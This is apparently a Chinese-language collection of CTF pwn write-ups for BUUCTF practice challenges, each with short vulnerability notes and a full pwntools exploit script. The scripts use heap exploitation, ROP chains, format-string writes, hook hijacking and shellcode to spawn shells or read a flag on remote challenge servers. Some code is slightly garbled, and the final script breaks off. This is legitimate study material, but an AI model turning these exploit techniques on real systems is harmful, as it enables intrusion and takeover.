buu6

hitcon_ctf_2019_one_punch

 保护全开,ida打开,libc版本为2.29

 删除功能存在uaf

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

pwn="./hitcon_ctf_2019_one_punch"
#p=process(pwn)
r=remote("node5.buuoj.cn",27466)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-19-2.29.so")

def menu(choice):
    r.recvuntil('> ')
    r.sendline(str(choice))

def add(idx,content):
    menu(1)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def edit(idx,content):
    menu(2)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def punch(content):
    menu(50056)
    r.send(content)

add(0,'a'*0x218)
add(1,'b'*0x80)

for i in range(6):
    delete(1)
    edit(1,'b'*0x10)

for i in range(6):
    delete(0)
    edit(0,'a'*0x10)

delete(0)
show(0)
r.recvuntil('hero name: ')
heap_addr = u64(r.recv(6).ljust(8,b'\x00'))
print('heap_addr',hex(heap_addr))

edit(0,b'a'*0x10)
delete(0)
show(0)
r.recvuntil('hero name: ')
libc_base = u64(r.recv(6).ljust(8,b'\x00'))-0x1e4ca0
print(hex(libc_base))

add(1,b'a'*0x180)
add(1,b'a'*0x400)
add(2,b'a'*0x100)

for i in range(7):
    delete(1)
    edit(1,b'c'*0x10)

delete(1)
add(2,0x370*b'd')
add(2,0x400*b'd')

fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = b'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)
add(1,b'f'*0x80)

malloc_hook = libc_base+libc.sym['__malloc_hook']
print('malloc_hook',hex(malloc_hook))
edit(0,p64(malloc_hook))
punch(b'/flag\x00')

add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop =  p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)

punch(p64(add_rsp))
add(1,rop)
#gdb.attach(r)
r.interactive()

wdb_2018_1st_babyheap

 四功能齐全的菜单堆题,只能申请0x20大小的chunk,没有溢出写,但是存在uaf,同时edit功能只能使用3次,同样是泄露libc的基地址,且没有PIE,直接fastbindup将chunk的地址改写到chunk指针的结构体处

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./wdb_2018_1st_babyheap"
#p=process(pwn)
p=remote("node5.buuoj.cn","28576")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create(index,context):
     p.sendlineafter("Choice:",b'1')
     p.sendlineafter("Index:",str(index))
     p.sendlineafter("Content:",context)

def edit(index,context=b'aaaa'):
     p.sendlineafter("Choice:",b'2')python
     p.sendlineafter("Index:",str(index))
     p.sendlineafter("Content:",context)
     
def show(index):
     p.sendlineafter("Choice:",b'3')
     p.sendlineafter("Index:",str(index))     

def delete(index):
     p.sendlineafter("Choice:",b'4')
     p.sendlineafter("Index:",str(index))     


create(0,p64(0)*3+p64(0x31)[:-1])
create(1,b'a')
create(2,b'/bin/sh\x00')
create(3,b'a')
create(4,b'a')
delete(3)
delete(4)
show(4)
heap=u64(p.recv(4).ljust(8,b'\x00'))-0x90
print(hex(heap))
edit(4,p64(heap+0x20))

create(5,b'a')
create(6,p64(0x20)+p8(0x90))
delete(0)
create(7,p64(0)+p64(0x21)+p64(0x602060-0x18)+p64(0x602060-0x10)[:-1])
delete(1)
edit(0,p64(0)*3+p64(0x602098)[:-1])
edit(0,p64(elf.got['free'])+p64(0)*2+p64(0xffff)[:-1])
show(7)

libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
edit(0,p64(free_hook)[:-1])
edit(7,p64(sys_addr)[:-1])

delete(2)
#debug()
p.interactive()

mrctf2020_easyrop

 存在后门函数,栈溢出漏洞利用,

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./mrctf2020_easyrop"
#p=process(pwn)
p=remote("node5.buuoj.cn",27565)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendline(b'2')
#debug()
sleep(1)
p.send(b'a'*0x300)
sleep(1)
p.sendline(b'7')
sleep(1)
p.send(b'a'*0x12+p64(0x40072A))
p.interactive()

sctf_2019_one_heap

 保护全开,ida打开只有增加和删除两个功能,菜单堆题,删除功能存在uaf,且只能够使用四次删除功能

 创建功能只能使用15次,且大小限制在0x7f,既然是tcache bin attack,需要泄露libc基地址,因为开了pie,

  成功概率256分之1,还是别人的wp香


from pwn import *

# sh:tube = process("./sctf_2019_one_heap")
context.update(arch="amd64", os="linux", endian="little")
sh = remote("node5.buuoj.cn",26114)
cur_elf = ELF("./sctf_2019_one_heap")
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")

def LOG_ADDR(*args):
    pass

context.update(arch="amd64", os="linux", endian="little")

def new_note(size, content="id"):
    sh.sendlineafter("Your choice:", '1')
    sh.sendlineafter("Input the size:", str(size))
    sh.sendlineafter("Input the content:", content)


def del_note():
    sh.sendlineafter("Your choice:", '2')

def attack(first, second):
    new_note(0x70)
    del_note()
    del_note()

    new_note(0x70, p16((first << 8) | 0x10))
    new_note(0x70)
    layout = [0, 0, 0, 0, 0x07000000]
    new_note(0x70, flat(layout))
    del_note()

    new_note(0x40, p64(0) * 5)

    new_note(0x10, flat(0, p16((second << 8) | 0x60)))
    del_note()

    new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58"))
    msg = sh.recvn(8)
    leak_addr = u64(msg)
    LOG_ADDR("leak_addr", leak_addr)
    libc_base_addr = leak_addr - 0x3e82a0
    realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"]
    realloc_addr = libc_base_addr + libc.sym["realloc"]

    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base_addr + gadgets[2]
    new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))

    new_note(0x40, flat(one_gadget, realloc_addr+0x4))

    new_note(0x10)
    try:
        sh.sendline("id")
        sh.recvline_contains("uid", timeout=2)
        sh.sendline("cat flag")
        sh.interactive()
    except:
        try:
            sh.close()
        except:
            pass

if __name__ == "__main__":
    n = 0x1000
    while n > 0:
        log.success("counts: {}".format(0x1000 - n))
        try:
            attack(0x60, 0x67)
        except:
            pass
        # sh = process("./sctf_2019_one_heap")
        sh = remote("node5.buuoj.cn", 26114)
        n -= 1

gwctf_2019_jiandan_pwn1

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn9"
#p=process(pwn)
p=remote("node5.buuoj.cn",27597)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
rdi=0x400843
p.sendlineafter(b'fun!\n',b'a'*0x10c+p32(0x110)+b'a'*5+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main']))
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter(b'fun!\n',b'a'*0x10c+p32(0x110)+b'a'*5+p64(rdi)+p64(bin_sh)+p64(sys_addr))
#debug()
p.interactive()

0ctf_2018_heapstorm2

保护全开,ida打开, 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./0ctf_2018_heapstorm2"
#p=process(pwn)
p=remote("node5.buuoj.cn","27371")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create(size):
     p.sendlineafter("Command: ",str(1))
     p.sendlineafter("Size: ",str(size))

def edit(index,context):
     p.sendlineafter("Command: ",str(2))
     p.sendlineafter("Index: ",str(index))
     p.sendlineafter("Size: ",str(len(context)))
     p.sendlineafter("Content: ",context)

def delete(index):
     p.sendlineafter("Command: ",str(3))
     p.sendlineafter("Index: ",str(index)) 

def show(index):
     p.sendlineafter("Command: ",str(4))
     p.sendlineafter("Index: ",str(index)) 

create(0x18)  #chunk 0
create(0x508) #chunk 1
create(0x18)  #chunk 2
edit(1,b'a'*0x4f0+p64(0x500))

create(0x18)  #chunk 3
create(0x508) #chunk 4
create(0x18)  #chunk 5
edit(4,b'a'*0x4f0+p64(0x500))
create(0x18)  #chunk 6

delete(1)
edit(0,b'a'*(0x18-12))
create(0x18)    #chunk 1
create(0x4d8)   #chunk 7
delete(1)
delete(2)
create(0x38)  #chunk 1
create(0x4e8) #chunk 2

delete(4)
edit(3,b'a'*(0x18-12))
create(0x18)  #chunk 4 
create(0x4d8) #chunk 8
delete(4)
delete(5)
create(0x48) #chunk 4

delete(2)
create(0x4e8) #chunk 2
delete(2)

encode=0x13370000+0x800
fake_chunk=encode-0x20
header=p64(0)*2+p64(0)+p64(0x13377331)+p64(encode)+p64(0x1000)

payload1=p64(0)*2+p64(0)+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,payload1)

payload2=p64(0)*4+p64(0)+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5)
edit(8,payload2)

create(0x48)
a=p64(0)*4+p64(0)+p64(0x13377331)+p64(encode)
edit(2,a)

a=header+p64(encode-0x20+3)+p64(8)
edit(0,a)
show(1)
p.recvuntil("Chunk[1]: ")
heapaddr=u64(p.recv(8))

a=header+p64(heapaddr+0x10)+p64(8)
edit(0,a)
show(1)
p.recvuntil("Chunk[1]: ")
libcbase=u64(p.recv(8))-0x10-88-libc.sym['__malloc_hook']

a=header+p64(libcbase+libc.sym['__free_hook'])+p64(0x100)+p64(encode+0x50)+p64(0x100)+b'/bin/sh\x00'
edit(0,a)
edit(1,p64(libcbase+libc.sym['system']))

p.sendlineafter(":",b'3')
p.sendlineafter(":",str(2))
p.interactive()
#debug()
p.interactive()

[GKCTF 2021]checkin

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./login')
p=remote("node5.buuoj.cn","27544")
elf = ELF('./login')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/home/casual/Desktop/libc.so.6')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

#gdb.attach(p, 'b *0x401973')

bss = 0x602400
ret = 0x400641
rdi = 0x401ab3

payload = b'admin\x00\x00\x00' + p64(rdi) + p64(elf.got['puts']) + p64(0x4018B5)
p.sendafter(b'Sign-in\n', payload)
payload = b'admin\x00\x00\x00'*4 + p64(bss)
p.sendafter(b'Pass\n', payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4527a

#payload = b'admin\x00\x00\x00' + p64(rdi) + p64(binsh) + p64(system)
payload = b'admin\x00\x00\x00'*3 + p64(one_gadget)
p.sendafter(b'Sign-in\n', payload)
payload = b'admin\x00\x00\x00'*4 + p64(bss + 0x10)
p.sendafter(b'Pass\n', payload)
p.interactive()

bbctf_2020_fmt_me

 格式化字符串漏洞,atoi的got表改为system_plt,system got改为main地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bbctf_2020_fmt_me"
#p=process(pwn)
p=remote("node5.buuoj.cn",27048)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
atoi = 0x404058
system_plt = elf.plt['system']
system_got = elf.got['system']
main = 0x4011f7
p.sendlineafter(b'Choice: ', b'2')
payload = fmtstr_payload(6, {atoi: system_plt + 6, system_got : main})
p.sendlineafter(b'you a gift.', payload)

p.sendlineafter(b'Choice: ', b'/bin/sh\x00')
p.interactive()

actf_2019_onerepeater

 

 输入2是格式化字符串漏洞,输入1 会打印buf的地址,再读入0x400个字节大小的数据溢出不了,感觉是通过1泄露栈地址,后通过2的格式化字符串漏洞将返回地址修改,简单点就是泄露libc基地址,改返回地址为onegadget,或者在栈上写入shellcode,将返回地址改为shellcode的地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./ACTF_2019_OneRepeater"
#p=process(pwn)
#p=remote("node5.buuoj.cn",25515)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

def pwn():
    p.sendlineafter("3) Exit\n",str(1))
    stack=int(p.recv(8),16)
    retaddr=stack+0x41c
    print(hex(retaddr))
    payload=fmtstr_payload(16,{retaddr:stack+0x100}).ljust(0x100,b'\x00')+asm(shellcraft.sh())
    p.sendline(payload)
    p.sendlineafter("3) Exit\n",str(2))
    p.sendlineafter("3) Exit\n",str(3))
    #debug('b *0x80486EF')
    p.recvline()
    p.interactive()


p=remote("node5.buuoj.cn",25515)
pwn()

rootersctf_2019_babypwn

 ret2libc

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./rootersctf_2019_babypwn"
#p=process(pwn)
p=remote("node5.buuoj.cn",25080)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendlineafter("echo back> \n",b'a'*0x108+p64(0x401223)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main']))
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter("echo back> \n",b'a'*0x108+p64(0x40101a)+p64(0x401223)+p64(bin_sh)+p64(sys_addr))
p.interactive()

actf_2019_message

 菜单堆题,四功能齐全,删除功能存在uaf,只清空了chunk的size位,指针并没有进行清空,但是show和edit的检查是检查size位

那就只好劫持chunk表,反正地址已知,且可以直接dup控制,控制之后直接将前面的chunk表清0继续利用

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ACTF_2019_message"
#p=process(pwn)
p=remote("node5.buuoj.cn",27929)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(length,context):
     p.sendlineafter("choice: ",b'1')
     p.sendlineafter("length of message:\n",str(length))
     p.sendafter("message:\n",context)

def delete(index):
     p.sendlineafter("choice: ",b'2')  
     p.sendlineafter("want to delete:\n",str(index))

def edit(index,context):
     p.sendlineafter("choice: ",b'3')  
     p.sendlineafter("edit:\n",str(index))
     p.sendlineafter("message:\n",context)

def show(index):
     p.sendlineafter("choice: ",b'4')  
     p.sendafter("want to display:\n",str(index))

ptr=0x602060
create(0x60,b'aaa') #chunk  0
create(0x60,b'aaaa') #chunk 1
create(0x10,b'aaa')  #chunk  2
delete(0)
delete(1)
delete(0)
create(0x60,p64(ptr))  #chunk 3
create(0x60,b'a')   #chunk 4
create(0x60,b'a')   #chunk 5
create(0x60,p64(0)*12)

create(0x410,b'a')  #chunk 0
create(0x10,b'/bin/sh\x00')   #chunk 1
delete(0)
edit(6,p32(0x410))
show(0)
p.recvuntil("The message: ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libc.sym['system']+libcbase
edit(6,p64(0x20)+p64(free_hook)+p64(0x10)+p64(free_hook))
create(0x20,b'/bin/sh\x00')  #chunk 2
edit(1,p64(sys_addr))
delete(2)
#debug()
p.interactive()

starctf_2019_girlfriend

 菜单堆题,有增加,展示,删除功能,增加功能,先会malloc一个0x18大小的chunk,用来存放自定义大小chunk的指针地址和大小,再进行自定义带下的malloc,后进行名字输入,再输入电话,这个电话在固定大小的chunk中存放,且末位置0 ,不存在溢出漏洞,最多申请100个chunk,libc2.23

 展示功能通过puts函数进行展示

 删除功能,存在uaf漏洞,只free了自定义大小的chunk,且两个指针未置0

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./starctf_2019_girlfriend"
#p=process(pwn)
p=remote("node5.buuoj.cn","25714")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create(size,name,call=b'aaa'):
       p.sendlineafter("your choice:",str(1))
       p.sendlineafter("girl's name\n",str(size))
       p.sendlineafter("her name:\n",name)
       p.sendlineafter("call:\n",call)

def show(index):
       p.sendlineafter("your choice:",str(2))
       p.sendlineafter("index:\n",str(index))

def delete(index):
       p.sendlineafter("your choice:",str(4))
       p.sendlineafter("index:\n",str(index))  


create(0x80,b'aaa')
create(0x60,b'aaa')
create(0x60,b'aaa')
delete(0)
show(0)
malloc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
libcbase=malloc-libc.sym['__malloc_hook']
realloc=libcbase+libc.sym['realloc']
print(hex(libcbase))
ogg=libcbase+0xf02a4
delete(1)
delete(2)
delete(1)
create(0x60,p64(malloc-0x23))
create(0x60,b'aaa')
create(0x60,b'aaaa')
create(0x60,b'a'*(0x13-8)+p64(ogg)+p64(realloc+8))
p.sendlineafter("your choice:",str(1))
#debug()
p.interactive()

bbctf_2020_write

 

 任意地址修改,先计算libc基地址,后将返回地址修改为system调用就行,但是发现程序退出是通过exit函数,则只能去进行exit_hook劫持

 exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bbctf_2020_write"
#p=process(pwn)
p=remote("node5.buuoj.cn",28581)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
libcbase=int(p.recvuntil(b'\n')[-13:],16)-libc.sym['puts']
print(hex(libcbase))
stack=int(p.recvuntil(b'\n')[-13:],16)
print(hex(stack))
#debug()
exit_hook=libcbase+0x619f68
onegadet=libcbase+0x4f322
p.sendlineafter("(q)uit\n",b'w')
p.sendlineafter("ptr: ",str(exit_hook))
p.sendlineafter("val: ",str(onegadet))
p.sendlineafter("(q)uit\n",b'q')
p.interactive()

sctf2019_easy_heap

 保护全开,ida 打开,跟前一页的一道题一模一样,但是存在不同做法,尝试一下,学些东西,菜单堆题, 创建功能,只是限制了chunk小于0x1000,libc在2.27,存在tcache bin ,且创建功能会把堆地址泄露出来

这里edit输入内容的函数存在off by null 溢出,删除功能没啥,就三个功能。

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./easy_heap"
#p=process(pwn)
p=remote("node5.buuoj.cn",27904)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.recvuntil("Mmap: ")
mmap=int(p.recv(12),16)
def create(size):
p.sendlineafter(">> ",b'1')
p.sendlineafter("Size: ",str(size))
p.recvuntil("Address ")
heap_addr=int(p.recv(14),16)
return heap_addr

def delete(index):
p.sendlineafter(">> ",b'2')
p.sendlineafter("Index: ",str(index))

def edit(index,context):
p.sendlineafter(">> ",b'3')
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",context)

pro_base = create(0x410) - 0x202068 #index 0
delete(0)
create(0x60) #index 0
create(0x68) #index 1
create(0x4f0) #index 2
create(0x10) #index 3
ptr = pro_base + 0x202060 + 0x8
payload = p64(0) + p64(0xd1) + p64(ptr - 0x18) + p64(ptr - 0x10)
edit(0, payload)
edit(1, p64(0)*12 + p64(0xd0))
delete(2)

# malloc_hook -> mmap
delete(1)
create(0x50) #index 1
payload = p64(0)*2 + p64(0x100) + p64(ptr - 8) + p64(0x8) + p8(0xd0)
edit(0, payload)
edit(1, p8(0x30))
create(0x60) #index 2
create(0x60) #index 4
edit(4, p64(mmap + 0x100))

#debug()
# set shellcode -> mmap
edit(0, p64(0x100) + p64(mmap + 0x100))
edit(0, asm(shellcraft.sh()))

# pwn
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size: ', str(0x10))
p.interactive()

metasequoia_2020_samsara

 菜单堆题,把功能都放在一起了,输入6有机会直接得到flag,但是v8的值有要求,v8在栈上,我们要修改他的值为0xdeadbeef,第一个是申请固定大小的堆块,第二个是释放堆块指针,但是指针没有置0,则存在uaf漏洞,第三个是利用堆块的内容指向一段地址,进而修改值,第4块是泄露v7在栈上的地址,第5块是改变v7的值,第六块就是后门函数了,我们可以先泄露栈上的地址,然后通过类似的fastbindup,将chunk的fd指针指向栈上的空间,然后再进行v8值的修改

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./metasequoia_2020_samsara"
#p=process(pwn)
p=remote("node5.buuoj.cn","29135")
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create():
     p.sendlineafter("choice > ",str(1))
     
def delete(index):
     p.sendlineafter("choice > ",str(2))   
     p.sendlineafter("Index:\n",str(index))      
     
def edit(index,context):
     p.sendlineafter("choice > ",str(3))
     p.sendlineafter("Index:\n",str(index))
     p.sendlineafter("Ingredient:\n",str(context))
 
def leak():
     p.sendlineafter("choice > ",str(4))
     p.recvuntil("Your lair is at: ")
     stack=int(p.recv(14),16)
     return stack

def fuzhi(size):
     p.sendlineafter("choice > ",str(5))
     p.sendlineafter("kingdom?\n",str(size))

v8=leak()+8
create() #chunk 0
create() #chunk 1
delete(0)
delete(1)
fuzhi(0x21)
edit(1,v8-0x10)
create()  #chunk 2
create()  #chunk 3
edit(3,0xdeadbeef)
print(hex(v8))
p.sendlineafter("choice > ",str(6))

#debug()
p.interactive()

0ctf2015_freenote

一道上一页一样的题目

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./freenote_x64"
#p=process(pwn)
p=remote("node5.buuoj.cn",28688)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def show():
     p.sendlineafter("Your choice: ",str(1))
     
def create(size,context):
     p.sendlineafter("Your choice: ",str(2))     
     p.sendlineafter("Length of new note: ",str(size))
     p.sendlineafter("Enter your note: ",context)

def edit(index,size,context):
     p.sendlineafter("Your choice: ",str(3))     
     p.sendlineafter("Note number: ",str(index))
     p.sendlineafter("Length of note: ",str(size))
     p.sendlineafter("Enter your note: ",context)

def delete(index):
     p.sendlineafter("Your choice: ",str(4)) 
     p.sendlineafter("Note number: ",str(index))


create(0x80,b'a'*0x80)  #chunk 0
create(0x80,b'a'*0x80)  #chunk 1
create(0x80,b'a'*0x80)  #chunk 2
create(0x10,b'a'*0x10)  #chunk 3

delete(0)
delete(2)
create(0x8,b'a'*8)  #chunk 0
show()
